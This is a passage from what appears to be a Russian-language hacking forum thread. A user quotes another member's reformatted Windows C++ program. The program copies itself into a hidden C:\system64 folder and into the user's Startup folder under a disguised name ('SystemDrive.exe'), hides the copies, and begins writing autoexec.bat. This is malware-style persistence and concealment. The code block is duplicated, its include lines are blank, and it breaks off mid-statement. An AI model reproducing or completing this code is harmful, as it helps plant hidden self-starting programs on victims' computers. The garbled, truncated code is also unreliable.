Показать сообщение отдельно

  #6  
Старый 31.08.2017, 09:41
JiEn
Новичок
Регистрация: 28.08.2017
Сообщений: 16
Провел на форуме:
4659

Репутация: 0
По умолчанию

[QUOTE="binarymaster"]

Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
[CODE]
#include
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut
 
Ответить с цитированием